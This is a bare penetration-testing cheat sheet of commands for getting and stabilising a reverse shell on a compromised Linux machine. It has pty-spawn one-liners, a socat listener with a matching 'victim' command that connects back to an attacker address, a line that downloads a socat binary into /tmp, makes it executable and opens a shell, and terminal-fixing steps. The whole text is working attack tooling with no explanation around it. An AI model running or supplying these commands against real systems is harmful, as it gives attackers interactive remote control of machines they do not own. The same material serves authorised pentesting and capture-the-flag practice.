python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl -e 'exec "/bin/sh";'

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.102:4444

#Victim without socat:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.102:1234

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# background the shell (check: netstat -t)

# In Kali, use "stty -a" to check the rows and columns number
$ stty -a
$ stty raw -echo
$ fg
# now we are in reverse shell

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>